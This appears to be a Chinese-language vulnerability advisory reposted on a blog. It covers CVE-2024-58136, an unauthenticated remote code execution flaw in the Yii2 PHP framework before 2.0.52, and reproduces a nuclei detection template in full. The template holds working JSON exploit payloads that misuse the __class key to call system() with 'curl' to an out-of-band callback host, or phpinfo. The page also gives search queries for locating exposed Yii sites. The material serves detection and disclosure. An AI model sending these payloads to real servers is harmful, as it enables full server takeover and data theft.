Yii2 PHP Framework Remote Code Execution Vulnerability

漏洞信息

漏洞名称: Yii2 PHP Framework Remote Code Execution Vulnerability

漏洞编号:

  • CVE: CVE-2024-58136

漏洞类型: 命令执行

漏洞等级: 严重

漏洞描述: Yii2是一个流行的PHP框架,广泛用于快速开发现代Web应用程序。它提供了丰富的功能,如MVC架构、数据库抽象层、表单验证等,被许多开发者和企业用于构建高性能的网站和服务。该框架的典型部署场景包括企业级服务和常见的Web应用组件,因其易用性和强大的功能而受到广泛欢迎。此次发现的漏洞涉及Yii2框架在2.0.52版本之前的一个远程代码执行(RCE)漏洞,具体原因是框架在处理JSON行为时对__class键的验证不当。攻击者可以通过构造恶意的JSON数据,利用这一漏洞实例化任意的PHP类,从而实现远程代码执行。这种漏洞的技术根源在于输入验证不严格,允许攻击者注入恶意代码。由于该漏洞允许未经认证的攻击者远程执行任意代码,其潜在的安全风险极高,可能导致服务器被完全控制、数据泄露或服务中断。攻击者可以利用此漏洞自动化攻击,无需用户交互,因此威胁等级被评定为严重。

产品厂商: yiisoft

产品名称: Yii2 PHP Framework

影响版本: version < 2.0.52

搜索语法: title=”Yii”

来源: https://github.com/projectdiscovery/nuclei-templates/blob/34ea099b62cc98b473d146d18b5a8a55bcb09b3f/http%2Fcves%2F2024%2FCVE-2024-58136.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

id: CVE-2024-58136

info:
name: Yii2 PHP Framework < 2.0.52 - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.
reference:
- https://infosecwriteups.com/from-behaviors-to-shells-yii2-php-framework-rce-cve-2024-58136-exploit-and-mitigation-e47a60a3cecb
- https://nvd.nist.gov/vuln/detail/CVE-2024-58136
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-58136
cwe-id: CWE-94
cpe: cpe:2.3:a:yiisoft:yii:2.0.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: yiisoft
product: yii
fofa-query: title="Yii"
shodan-query: title:"Yii"
tags: cve,cve2024,yii2,rce,php,framework

flow: http(1) && http(2)

http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}

redirects: true
matchers:
- type: word
words:
- "Yii"
internal: true

- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}}

- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}

matchers-condition: or
matchers:
- type: word
part: interactsh_protocol
words:
- "http"

- type: word
words:
- "PHP Version"
- "PHP Extension"
condition: and
# digest: 4a0a004730450221009e3a66563f628bfb0931e108df7fb9332af69b8dd5c2ee1c2bf6d74b2a92d31b02206d1f3f8c205f21ed450b477a9dba4866c2a8c5f2979da959a72e6b34c88e1e29:922c64590222798bb761d5b6d8e72950


Yii2 PHP Framework Remote Code Execution Vulnerability
http://example.com/2025/07/28/github_1708546289/
作者
lianccc
发布于
2025年7月28日
许可协议